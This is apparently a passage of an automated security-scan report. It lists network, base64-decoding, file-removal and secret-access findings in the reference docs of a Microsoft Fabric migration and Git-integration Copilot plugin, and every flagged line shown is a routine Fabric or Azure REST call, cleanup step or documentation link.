    --url "https://api.fabric.microsoft.com/v1/workspaces/${WS_ID}/items/${ONT_ID}/getDefinition" \
  • Network accessline 23
    --resource "https://api.fabric.microsoft.com" \
  • Network accessline 29
    exit 1 fi OP_URL="https://api.fabric.microsoft.com/v1/operations/${OP_ID}"
  • Network accessline 31
    OP_URL="https://api.fabric.microsoft.com/v1/operations/${OP_ID}"
  • Network accessline 33
    # 2. Poll until Succeeded (prefer the operations endpoint; Location polling is also supported with the right audience) while :; do   STATE=$(az rest --method GET --url "$OP_URL" --resource "https://api.fabric.microsoft.com" | jq -r '.status
  • Network accessline 34
    while :; do   STATE=$(az rest --method GET --url "$OP_URL" --resource "https://api.fabric.microsoft.com" | jq -r '.status')   case "$STATE" in
  • Network accessline 35
    STATE=$(az rest --method GET --url "$OP_URL" --resource "https://api.fabric.microsoft.com" | jq -r '.status')
  • Network accessline 37
    Succeeded) break ;;     Failed|Cancelled) echo "LRO ended in state: $STATE" >&2; \       az rest --method GET --url "$OP_URL" --resource "https://api.fabric.microsoft.com" | jq -r '.error' >&2; exit 1 ;;
  • Network accessline 38
    Failed|Cancelled) echo "LRO ended in state: $STATE" >&2;        az rest --method GET --url "$OP_URL" --resource "https://api.fabric.microsoft.com" | jq -r '.error' >&2; exit 1 ;;
  • Network accessline 39
    az rest --method GET --url "$OP_URL" --resource "https://api.fabric.microsoft.com" | jq -r '.error' >&2; exit 1 ;;
  • Network accessline 44
    # 3. Retrieve the result DEF=$(az rest --method GET --url "${OP_URL}/result" --resource "https://api.fabric.microsoft.com")
  • Network accessline 45
    DEF=$(az rest --method GET --url "${OP_URL}/result" --resource "https://api.fabric.microsoft.com")
  • Possible obfuscationline 54
    printf '%s' "$P_PAYLOAD"      | python3 -c "import sys,base64; sys.stdout.buffer.write(base64.b64decode(sys.stdin.read()))"
  • Possible obfuscationline 55
    | python3 -c "import sys,base64; sys.stdout.buffer.write(base64.b64decode(sys.stdin.read()))" \
  • Network accessline 75
    # 1. Kick off LRO; az rest emits the x-ms-operation-id header on the debug channel $verbose = az rest --method POST `   --url "https://api.fabric.microsoft.com/v1/workspaces/$WsId/items/$OntId/getDefinition" `
  • Network accessline 76
    $verbose = az rest --method POST    --url "https://api.fabric.microsoft.com/v1/workspaces/$WsId/items/$OntId/getDefinition"
  • Network accessline 77
    --url "https://api.fabric.microsoft.com/v1/workspaces/$WsId/items/$OntId/getDefinition" `
  • Network accessline 78
    --resource "https://api.fabric.microsoft.com" `
  • Network accessline 81
    $opId = ($verbose -split "`n" | Where-Object { $_ -match 'x-ms-operation-id:\s*(\S+)' } | ForEach-Object { $matches[1] } | Select-Object -First 1) if (-not $opId) { throw "No x-ms-operation-id captured from getDefinition" } $opUrl = "https:
  • Network accessline 83
    $opUrl = "https://api.fabric.microsoft.com/v1/operations/$opId"
  • Network accessline 85
    # 2. Poll the operations endpoint (preferred; Location polling is also supported with the right audience) while ($true) {   $op = az rest --method GET --url $opUrl --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json
  • Network accessline 86
    while ($true) {   $op = az rest --method GET --url $opUrl --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json   $state = $op.status
  • Network accessline 87
    $op = az rest --method GET --url $opUrl --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json
  • Network accessline 97
    # 3. Retrieve result $def = az rest --method GET --url "$opUrl/result" --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json
  • Network accessline 98
    $def = az rest --method GET --url "$opUrl/result" --resource "https://api.fabric.microsoft.com" | ConvertFrom-Json
  • Possible obfuscationline 105
    $bytes = [Convert]::FromBase64String($part.payload)

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/consumption/query-pattern.md

  • Network accessline 9
    - **SQL (Lakehouse/Warehouse)**: `https://database.windows.net/.default`
  • Network accessline 11
    - **KQL (Eventhouse)**: `https://kusto.kusto.windows.net/.default` (NOT `kusto.fabric.microsoft.com`)
  • Network accessline 13
    - **Fabric REST API**: `https://api.fabric.microsoft.com/.default`
  • Network accessline 45
    - Kusto URI discovery: `GET https://api.fabric.microsoft.com/v1/workspaces/{ws_id}/kqlDatabases/{db_id}` → `properties.queryServiceUri`
  • Network accessline 63
    - List workspace items: `GET https://api.fabric.microsoft.com/v1/workspaces/{ws_id}/items`

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/fabriciq-ontology-cli/references/consumption/routing.md

  • Network accessline 214
    | Delegate returns 0 rows on a non-empty source | Casing mismatch on `sourceTableName` or stale `clusterUri` | Compare binding fields to live source; if still mismatched, switch to `fabriciq-ontology-cli` authoring mode | | Delegate times o
  • Network accessline 215
    | Delegate times out | Missing time filter on `TimeSeries` | Add `where <timestampColumnName> > ago(…)` / `>= DATEADD(...)`, retry | | Delegate returns auth error (401 / 403) | Wrong `--resource` audience or missing source-item role | Check
  • Network accessline 216
    | Delegate returns auth error (401 / 403) | Wrong `--resource` audience or missing source-item role | Check the delegate's own connection contract (EH: `https://kusto.kusto.windows.net`; Spark: Fabric token; SQL: Fabric token) |

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/git-integration-operations-cli/SKILL.md

  • Network accessline 28
    >    workspace, then filter by `displayName`. > 2. All Git operations are **control plane** calls against >    `https://api.fabric.microsoft.com`. Run `fab auth login` once and `fab api`
  • Network accessline 29
    > 2. All Git operations are **control plane** calls against >    `https://api.fabric.microsoft.com`. Run `fab auth login` once and `fab api` >    sets the base URL and Fabric token audience automatically. With the `az rest`
  • Network accessline 30
    >    `https://api.fabric.microsoft.com`. Run `fab auth login` once and `fab api`
  • Network accessline 119
    - `fab api` (after `fab auth login`) as the **primary** driver: it sets the base   URL and Fabric token audience automatically, avoiding the 401 wrong-audience   trap. Use `az rest` with `--resource "https://api.fabric.microsoft.com"` as th
  • Network accessline 120
    URL and Fabric token audience automatically, avoiding the 401 wrong-audience   trap. Use `az rest` with `--resource "https://api.fabric.microsoft.com"` as the   **fallback** when `fab` is unavailable or you need fine-grained header control.
  • Network accessline 121
    trap. Use `az rest` with `--resource "https://api.fabric.microsoft.com"` as the
  • Network accessline 154
    - `fab api <endpoint>` becomes `az rest --method GET --url "https://api.fabric.microsoft.com/v1/<endpoint>" --resource "https://api.fabric.microsoft.com"`.
  • Network accessline 175
    | Workspace has capacity | `fab api "workspaces/${WORKSPACE_ID}"` → check `capacityId` | `WorkspaceHasNoCapacityAssigned` → assign a capacity (Git requires one) | | Git credential for the SP path | `fab api connections` (reuse if one alread
  • Network accessline 177
    [Credential-related source omitted]
  • Network accessline 223
    [Credential-related source omitted]
  • Network accessline 224
    [Credential-related source omitted]
  • Network accessline 225
    [Credential-related source omitted]
  • Network accessline 226
    >   "https://api.github.com/repos/${OWNER}/${REPO}/contents/${DIR}/README.md" -d @mkfolder.json
  • Network accessline 267
    git provider credentials, then pass its `id` as the `connectionId` in the `myGitCredentials` block above. Use the [Create Connection API](https://learn.microsoft.com/rest/api/fabric/core/connections/create-connection)
  • Network accessline 268
    `myGitCredentials` block above. Use the [Create Connection API](https://learn.microsoft.com/rest/api/fabric/core/connections/create-connection) (`POST /v1/connections`, delegated scope `Connection.ReadWrite.All`). A service
  • Network accessline 269
    [Create Connection API](https://learn.microsoft.com/rest/api/fabric/core/connections/create-connection)
  • Network accessline 274
    **Information you must supply (Azure DevOps):** - ADO **organization**, **project**, and **repository** names, combined into one   `url` parameter: `https://dev.azure.com/<org>/<project>/_git/<repo>/`
  • Network accessline 275
    - ADO **organization**, **project**, and **repository** names, combined into one   `url` parameter: `https://dev.azure.com/<org>/<project>/_git/<repo>/` - The service principal's **tenant ID**, **client (application) ID**, and
  • Network accessline 276
    `url` parameter: `https://dev.azure.com/<org>/<project>/_git/<repo>/`
  • Dangerous shell operationline 290
    trap 'rm -f connection.json' EXIT
  • Network accessline 299
    "parameters": [       { "dataType": "Text", "name": "url",         "value": "https://dev.azure.com/<org>/<project>/_git/<repo>/" }
  • Network accessline 300
    { "dataType": "Text", "name": "url",         "value": "https://dev.azure.com/<org>/<project>/_git/<repo>/" }     ]
  • Network accessline 301
    "value": "https://dev.azure.com/<org>/<project>/_git/<repo>/" }
  • Network accessline 595
    | Operation returns `202` then nothing changes | Async not yet complete | Poll `operations/{id}` (from `--show_headers`), or poll `git/status` until heads match | | Operation stuck in `Running` for a long time | Large workspace or a second 
  • Network accessline 596
    | Operation stuck in `Running` for a long time | Large workspace or a second Git op is queued | Keep polling with a sane timeout (about 10 min); never start a second Git op concurrently | | `401 Unauthorized` | Wrong token audience | Run `f
  • Network accessline 597
    | `401 Unauthorized` | Wrong token audience | Run `fab auth login` (fab sets the audience automatically); on the `az rest` fallback pass `--resource https://api.fabric.microsoft.com` |
  • Network accessline 622
    # status az rest --method GET \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/git/status" \
  • Network accessline 623
    az rest --method GET    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/git/status"
  • Network accessline 624
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/git/status" \
  • Network accessline 625
    --resource "https://api.fabric.microsoft.com"
  • Network accessline 627
    # commit (body inline) az rest --method POST \   --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/git/commitToGit" \
  • Network accessline 628
    az rest --method POST    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/git/commitToGit"
  • Network accessline 629
    --url "https://api.fabric.microsoft.com/v1/workspaces/${WORKSPACE_ID}/git/commitToGit" \
  • Network accessline 630
    --resource "https://api.fabric.microsoft.com" \

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/git-integration-operations-cli/references/automation-templates.md

  • Access to secretsline 20
    [Credential-related source omitted]
  • Access to secretsline 122
    [Credential-related source omitted]

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/git-integration-operations-cli/references/git-integration-concepts.md

  • Network accessline 154
    - [Overview of Fabric Git integration](https://learn.microsoft.com/fabric/cicd/git-integration/intro-to-git-integration) (providers, supported items; updated 2026-07-08).
  • Network accessline 155
    - [Git integration process](https://learn.microsoft.com/fabric/cicd/git-integration/git-integration-process) (concepts, sync, folders, permissions; updated 2026-07-08).
  • Network accessline 156
    - [Git integration admin settings](https://learn.microsoft.com/fabric/admin/git-integration-admin-settings) (tenant switches; updated 2026-07-01).

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/hdinsight-migration/resources/code-patterns.md

  • Network accessline 124
    # BEFORE — HDInsight: copy file via HDFS API from hdfs import InsecureClient client = InsecureClient("http://namenode:50070")
  • Network accessline 125
    from hdfs import InsecureClient client = InsecureClient("http://namenode:50070") client.copy("/data/input/file.csv", "/data/archive/file.csv")
  • Network accessline 126
    client = InsecureClient("http://namenode:50070")
  • Network accessline 143
    [Credential-related source omitted]
  • Network accessline 144
    [Credential-related source omitted]
  • Network accessline 145
    "https://mykeyvault.vault.azure.net/",
  • Network accessline 171
    <shell>         <exec>curl</exec>         <argument>-X POST https://api.example.com/trigger</argument>
  • Network accessline 172
    <exec>curl</exec>         <argument>-X POST https://api.example.com/trigger</argument>     </shell>
  • Network accessline 173
    <argument>-X POST https://api.example.com/trigger</argument>
  • Network accessline 184
    "type": "WebActivity",   "typeProperties": {     "url": "https://api.example.com/trigger",
  • Network accessline 185
    "typeProperties": {     "url": "https://api.example.com/trigger",     "method": "POST",
  • Network accessline 186
    "url": "https://api.example.com/trigger",

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/hdinsight-migration/resources/path-migration.md

  • Network accessline 66
    The [OneLake shortcut overview](https://learn.microsoft.com/en-us/fabric/onelake/onelake-shortcuts)
  • Network accessline 67
    lists the supported shortcut sources. The [on-premises shortcut guidance](https://learn.microsoft.com/en-us/fabric/onelake/create-on-premises-shortcut) limits gateway-backed shortcuts to the documented S3, S3-compatible, and Google
  • Network accessline 68
    [on-premises shortcut guidance](https://learn.microsoft.com/en-us/fabric/onelake/create-on-premises-shortcut)
  • Network accessline 69
    limits gateway-backed shortcuts to the documented S3, S3-compatible, and Google Cloud Storage targets; it does not add HDFS as a shortcut type. The [HDFS for Pipeline connector](https://learn.microsoft.com/en-us/fabric/data-factory/connecto
  • Network accessline 70
    Cloud Storage targets; it does not add HDFS as a shortcut type. The [HDFS for Pipeline connector](https://learn.microsoft.com/en-us/fabric/data-factory/connector-hdfs-for-pipeline-overview) documents HDFS as a Copy activity and Copy job sou
  • Network accessline 71
    The [HDFS for Pipeline connector](https://learn.microsoft.com/en-us/fabric/data-factory/connector-hdfs-for-pipeline-overview)

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/SKILL.md

  • Network accessline 88
    | Target | Token Audience | |---|---| | Synapse Data Plane (pipelines, datasets, linked services) | `https://dev.azuresynapse.net` |
  • Network accessline 89
    |---|---| | Synapse Data Plane (pipelines, datasets, linked services) | `https://dev.azuresynapse.net` | | Synapse ARM (global parameters, workspace properties) | `https://management.azure.com` |
  • Network accessline 90
    | Synapse Data Plane (pipelines, datasets, linked services) | `https://dev.azuresynapse.net` |
  • Network accessline 91
    | Synapse ARM (global parameters, workspace properties) | `https://management.azure.com` |
  • Network accessline 92
    | Fabric REST API (create pipelines, connections, Variable Libraries) | `https://api.fabric.microsoft.com` |
  • Network accessline 98
    | Operation | Endpoint | |---|---| | List all pipelines | `GET https://{ws}.dev.azuresynapse.net/pipelines?api-version=2020-12-01` |
  • Network accessline 99
    |---|---| | List all pipelines | `GET https://{ws}.dev.azuresynapse.net/pipelines?api-version=2020-12-01` | | Get pipeline definition | `GET https://{ws}.dev.azuresynapse.net/pipelines/{name}?api-version=2020-12-01` |
  • Network accessline 100
    | List all pipelines | `GET https://{ws}.dev.azuresynapse.net/pipelines?api-version=2020-12-01` |
  • Network accessline 101
    | Get pipeline definition | `GET https://{ws}.dev.azuresynapse.net/pipelines/{name}?api-version=2020-12-01` |
  • Network accessline 102
    | List all datasets | `GET https://{ws}.dev.azuresynapse.net/datasets?api-version=2020-12-01` |
  • Network accessline 103
    | Get dataset definition | `GET https://{ws}.dev.azuresynapse.net/datasets/{name}?api-version=2020-12-01` |
  • Network accessline 104
    | List all linked services | `GET https://{ws}.dev.azuresynapse.net/linkedservices?api-version=2020-12-01` |
  • Network accessline 105
    | Get linked service | `GET https://{ws}.dev.azuresynapse.net/linkedservices/{name}?api-version=2020-12-01` |
  • Network accessline 106
    | Get workspace (global parameters) | `GET https://management.azure.com/subscriptions/{subId}/resourceGroups/{rg}/providers/Microsoft.Synapse/workspaces/{ws}?api-version=2021-06-01` |
  • Network accessline 110
    | Operation | Endpoint | |---|---| | List connections | `GET https://api.fabric.microsoft.com/v1/connections` |
  • Network accessline 111
    |---|---| | List connections | `GET https://api.fabric.microsoft.com/v1/connections` | | Create connection | `POST https://api.fabric.microsoft.com/v1/connections` |
  • Network accessline 112
    | List connections | `GET https://api.fabric.microsoft.com/v1/connections` |
  • Network accessline 113
    | Create connection | `POST https://api.fabric.microsoft.com/v1/connections` |
  • Network accessline 114
    | Create pipeline item | `POST https://api.fabric.microsoft.com/v1/workspaces/{wsId}/items` |
  • Network accessline 115
    | Update pipeline definition | `POST https://api.fabric.microsoft.com/v1/workspaces/{wsId}/items/{id}/updateDefinition` |
  • Network accessline 116
    | Get pipeline definition | `POST https://api.fabric.microsoft.com/v1/workspaces/{wsId}/items/{id}/getDefinition` |
  • Network accessline 117
    | Create Variable Library | `POST https://api.fabric.microsoft.com/v1/workspaces/{wsId}/items` (type: `VariableLibrary`) |
  • Network accessline 118
    | List notebooks in workspace | `GET https://api.fabric.microsoft.com/v1/workspaces/{wsId}/notebooks` |

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/activity-mapping.md

  • Network accessline 256
    "type": "WebActivity",   "typeProperties": {     "url": "https://api.example.com/data",
  • Network accessline 257
    "typeProperties": {     "url": "https://api.example.com/data",     "method": "POST",
  • Network accessline 258
    "url": "https://api.example.com/data",
  • Network accessline 267
    "authentication": {       "type": "MSI",       "resource": "https://management.azure.com/"
  • Network accessline 268
    "type": "MSI",       "resource": "https://management.azure.com/"     }
  • Network accessline 269
    "resource": "https://management.azure.com/"
  • Network accessline 318
    "authentication": {         "type": "MSI",         "resource": "https://vault.azure.net"
  • Network accessline 319
    "type": "MSI",         "resource": "https://vault.azure.net"       }
  • Network accessline 320
    "resource": "https://vault.azure.net"

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/dataset-inlining.md

  • Network accessline 26
    [Credential-related source omitted]
  • Network accessline 27
    SYNAPSE_ENDPOINT = "https://myworkspace.dev.azuresynapse.net"
  • Network accessline 32
    items = []     while url:         r = requests.get(url, headers=headers)
  • Network accessline 33
    while url:         r = requests.get(url, headers=headers)         r.raise_for_status()
  • Network accessline 34
    r = requests.get(url, headers=headers)

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/global-parameters-to-variable-library.md

  • Network accessline 45
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Network accessline 46
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Network accessline 47
    --url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Synapse/workspaces/${SYNAPSE_WORKSPACE}?api-version=2021-06-01" \
  • Network accessline 86
    {   "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/variables/1.0.0/schema.json#",
  • Network accessline 87
    "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/variables/1.0.0/schema.json#",
  • Network accessline 122
    {   "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/settings/1.0.0/schema.json#",
  • Network accessline 123
    "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/settings/1.0.0/schema.json#",
  • Network accessline 131
    {   "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/valueSets/1.0.0/schema.json#",
  • Network accessline 132
    "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/valueSets/1.0.0/schema.json#",
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Network accessline 219
    return {         "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/variables/1.0.0/schema.json#",
  • Network accessline 220
    "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/variables/1.0.0/schema.json#",
  • Network accessline 226
    """Build a value set from variables definition (copies default values)."""     return {         "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/valueSets/1.0.0/schema.json#"
  • Network accessline 227
    return {         "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/valueSets/1.0.0/schema.json#",         "name": name,
  • Network accessline 228
    "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/valueSets/1.0.0/schema.json#",
  • Network accessline 258
    settings_content = {         "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/settings/1.0.0/schema.json#",
  • Network accessline 259
    "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/settings/1.0.0/schema.json#",
  • Network accessline 293
    r = requests.post(
  • Network accessline 294
    f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/items",
  • Network accessline 314
    if location:                 if location.startswith("/"):                     location = f"https://api.fabric.microsoft.com{location}"
  • Network accessline 315
    if location.startswith("/"):                     location = f"https://api.fabric.microsoft.com{location}"                 fetched = requests.get(location, headers=headers, timeout=_HTTP_TIMEOUT)
  • Network accessline 316
    location = f"https://api.fabric.microsoft.com{location}"                 fetched = requests.get(location, headers=headers, timeout=_HTTP_TIMEOUT)                 fetched.raise_for_status()
  • Network accessline 317
    fetched = requests.get(location, headers=headers, timeout=_HTTP_TIMEOUT)
  • Network accessline 329
    operation_id = r.headers.get("x-ms-operation-id")         if not op_url and operation_id:             op_url = f"https://api.fabric.microsoft.com/v1/operations/{operation_id}"
  • Network accessline 330
    if not op_url and operation_id:             op_url = f"https://api.fabric.microsoft.com/v1/operations/{operation_id}"         if not op_url:
  • Network accessline 331
    op_url = f"https://api.fabric.microsoft.com/v1/operations/{operation_id}"
  • Network accessline 333
    raise RuntimeError("202 response with no LRO URL header")         # Resolve relative LRO URLs (e.g. "/v1/operations/...") against the         # Fabric base so requests.get() receives a valid absolute URL,
  • Network accessline 334
    # Resolve relative LRO URLs (e.g. "/v1/operations/...") against the         # Fabric base so requests.get() receives a valid absolute URL,         # matching the normalization used in pipeline-orchestrator.md.
  • Network accessline 335
    # Fabric base so requests.get() receives a valid absolute URL,
  • Network accessline 336
    # matching the normalization used in pipeline-orchestrator.md.         if op_url.startswith("/"):             op_url = f"https://api.fabric.microsoft.com{op_url}"
  • Network accessline 337
    if op_url.startswith("/"):             op_url = f"https://api.fabric.microsoft.com{op_url}"         import time
  • Network accessline 338
    op_url = f"https://api.fabric.microsoft.com{op_url}"
  • Access to secretsline 343
    [Credential-related source omitted]
  • Access to secretsline 344
    [Credential-related source omitted]
  • Network accessline 349
    sleep_s = float(retry_after) if retry_after else base_poll_interval             time.sleep(sleep_s)             poll = requests.get(op_url, headers=headers, timeout=_HTTP_TIMEOUT)
  • Network accessline 350
    time.sleep(sleep_s)             poll = requests.get(op_url, headers=headers, timeout=_HTTP_TIMEOUT)             poll.raise_for_status()
  • Network accessline 351
    poll = requests.get(op_url, headers=headers, timeout=_HTTP_TIMEOUT)
  • Network accessline 366
    if resource_loc:                         if resource_loc.startswith("/"):                             resource_loc = f"https://api.fabric.microsoft.com{resource_loc}"
  • Network accessline 367
    if resource_loc.startswith("/"):                             resource_loc = f"https://api.fabric.microsoft.com{resource_loc}"                         created = requests.get(resource_loc, headers=headers, timeout=_HTTP_TIMEOUT)
  • Network accessline 368
    resource_loc = f"https://api.fabric.microsoft.com{resource_loc}"                         created = requests.get(resource_loc, headers=headers, timeout=_HTTP_TIMEOUT)                         created.raise_for_status()
  • Network accessline 369
    created = requests.get(resource_loc, headers=headers, timeout=_HTTP_TIMEOUT)
  • Network accessline 488
    prod_value_set = {     "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/valueSets/1.0.0/schema.json#",
  • Network accessline 489
    "schema": "https://developer.microsoft.com/json-schemas/fabric/item/variableharness/github-copilot/definitionFiles/valueSets/1.0.0/schema.json#",

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/linked-service-to-connection.md

  • Network accessline 68
    [Credential-related source omitted]
  • Access to secretsline 68
    [Credential-related source omitted]
  • Network accessline 69
    [Credential-related source omitted]
  • Access to secretsline 69
    [Credential-related source omitted]
  • Network accessline 70
    --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 78
    POST https://api.fabric.microsoft.com/v1/connections
  • Network accessline 81
    Connection creation requires `connectivityType`, `displayName`, `connectionDetails` (with `type`, `creationMethod`, and `parameters`), and `credentialDetails` (with `credentials` nested inside). Connector identity comes from `connectionDeta
  • Network accessline 88
    [Credential-related source omitted]
  • Access to secretsline 88
    [Credential-related source omitted]
  • Network accessline 89
    [Credential-related source omitted]
  • Access to secretsline 89
    [Credential-related source omitted]
  • Network accessline 90
    --url "https://api.fabric.microsoft.com/v1/connections" \
  • Network accessline 116
    > **Payload shape (critical):** Per the [Create Connection REST API](https://learn.microsoft.com/en-us/rest/api/fabric/core/connections/create-connection), the body has **no top-level `connectorId` field**. Connector identity comes from `co
  • Network accessline 121
    [Credential-related source omitted]
  • Access to secretsline 121
    [Credential-related source omitted]
  • Network accessline 122
    [Credential-related source omitted]
  • Access to secretsline 122
    [Credential-related source omitted]
  • Network accessline 123
    --url "https://api.fabric.microsoft.com/v1/connections" \
  • Access to secretsline 162
    [Credential-related source omitted]
  • Dangerous shell operationline 165
    >   rm /tmp/conn_body.json
  • Access to secretsline 170
    [Credential-related source omitted]
  • Access to secretsline 177
    [Credential-related source omitted]
  • Access to secretsline 180
    [Credential-related source omitted]
  • Network accessline 207
    [Credential-related source omitted]
  • Network accessline 208
    SYNAPSE_ENDPOINT = "https://myworkspace.dev.azuresynapse.net"
  • Network accessline 213
    items = []     while url:         r = requests.get(url, headers=headers)
  • Network accessline 214
    while url:         r = requests.get(url, headers=headers)         r.raise_for_status()
  • Network accessline 215
    r = requests.get(url, headers=headers)
  • Network accessline 248
    > **Convention note (display name vs GUID)**: This skill standardizes on the connection **display name** in pipeline activity `linkedService.referenceName` blocks. The canonical Copy-activity alternative is to reference the connection **GUI
  • Network accessline 264
    Use the values (GUIDs) only for Fabric API calls that require a connection ID.     """     url = "https://api.fabric.microsoft.com/v1/connections"
  • Network accessline 265
    """     url = "https://api.fabric.microsoft.com/v1/connections"     connections = {}
  • Network accessline 266
    url = "https://api.fabric.microsoft.com/v1/connections"
  • Network accessline 267
    connections = {}     while url:         r = requests.get(url, headers=headers)
  • Network accessline 268
    while url:         r = requests.get(url, headers=headers)         r.raise_for_status()
  • Network accessline 269
    r = requests.get(url, headers=headers)
  • Network accessline 277
    # breaks pagination on workspaces with > 1 page of connections.         url = (             f"https://api.fabric.microsoft.com/v1/connections"
  • Network accessline 278
    url = (             f"https://api.fabric.microsoft.com/v1/connections"             f"?continuationToken={quote(cont, safe='')}"
  • Network accessline 279
    f"https://api.fabric.microsoft.com/v1/connections"

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/migration-report.md

  • Network accessline 9
    | Item | URL Pattern | |---|---| | DataPipeline | `https://app.fabric.microsoft.com/groups/{workspaceId}/datapipelines/{itemId}` |
  • Network accessline 10
    |---|---| | DataPipeline | `https://app.fabric.microsoft.com/groups/{workspaceId}/datapipelines/{itemId}` | | Notebook | `https://app.fabric.microsoft.com/groups/{workspaceId}/synapsenotebooks/{itemId}` |
  • Network accessline 11
    | DataPipeline | `https://app.fabric.microsoft.com/groups/{workspaceId}/datapipelines/{itemId}` |
  • Network accessline 12
    | Notebook | `https://app.fabric.microsoft.com/groups/{workspaceId}/synapsenotebooks/{itemId}` |
  • Network accessline 13
    | Variable Library | `https://app.fabric.microsoft.com/groups/{workspaceId}/variablelibraries/{itemId}` |
  • Network accessline 14
    | Workspace | `https://app.fabric.microsoft.com/groups/{workspaceId}` |
  • Network accessline 68
    def fabric_url(self) -> Optional[str]:         if self.fabric_pipeline_id and self.fabric_workspace_id:             return (f"https://app.fabric.microsoft.com/groups/{self.fabric_workspace_id}"
  • Network accessline 69
    if self.fabric_pipeline_id and self.fabric_workspace_id:             return (f"https://app.fabric.microsoft.com/groups/{self.fabric_workspace_id}"                     f"/datapipelines/{self.fabric_pipeline_id}")
  • Network accessline 70
    return (f"https://app.fabric.microsoft.com/groups/{self.fabric_workspace_id}"
  • Network accessline 177
    workspace_url = f"https://app.fabric.microsoft.com/groups/{fabric_workspace_id}"
  • Network accessline 200
    if variable_library_id:         vl_url = f"https://app.fabric.microsoft.com/groups/{fabric_workspace_id}/variablelibraries/{variable_library_id}"
  • Network accessline 201
    vl_url = f"https://app.fabric.microsoft.com/groups/{fabric_workspace_id}/variablelibraries/{variable_library_id}"
  • Network accessline 389
    **Source**: Synapse workspace `mysynapse`   **Target**: [Fabric Workspace](https://app.fabric.microsoft.com/groups/dddd-...)
  • Network accessline 390
    **Target**: [Fabric Workspace](https://app.fabric.microsoft.com/groups/dddd-...)
  • Network accessline 404
    Global parameters migrated to: [aaaa-...](https://app.fabric.microsoft.com/groups/.../variablelibraries/aaaa-...)

harness/github-copilot/plugins/fabric-agentic-plugin/skills/fabric-agentic-platform/references/skills/pipeline-migration/resources/notebook-activity-migration.md

  • Network accessline 259
    [Credential-related source omitted]
  • Access to secretsline 259
    [Credential-related source omitted]
  • Network accessline 260
    [Credential-related source omitted]
  • Access to secretsline 260
    [Credential-related source omitted]
  • Network accessline 261
    --url "https://api.fabric.microsoft.com/v1/workspaces/${FABRIC_WS_ID}/notebooks" \
  • Network accessline 268
    [Credential-related source omitted]
  • Access to secretsline 268
    [Credential-related source omitted]
  • Network accessline 269
    [Credential-related source omitted]
  • Access to secretsline 269
    [Credential-related source omitted]
  • Network accessline 270
    --url "https://api.fabric.microsoft.com/v1/workspaces/${FABRIC_WS_ID}/notebooks" \
  • Access to secretsline 282
    [Credential-related source omitted]
  • Access to secretsline 283
    [Credential-related source omitted]
  • Network accessline 287
    [Credential-related source omitted]
  • Network accessline 288
    [Credential-related source omitted]
  • Network accessline 289
    url = f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/notebooks"
  • Network accessline 290
    notebooks = {}     while url:         r = requests.get(url, headers=headers, timeout=_HTTP_TIMEOUT)
  • Network accessline 291
    while url:         r = requests.get(url, headers=headers, timeout=_HTTP_TIMEOUT)         r.raise_for_status()
  • Network accessline 292
    r = requests.get(url, headers=headers, timeout=_HTTP_TIMEOUT)
  • Network accessline 300
    # the raw token into the query string breaks pagination.         url = (             f"https://api.fabric.microsoft.com/v1/workspaces/{workspace_id}/notebooks"
  • Network accessline 301
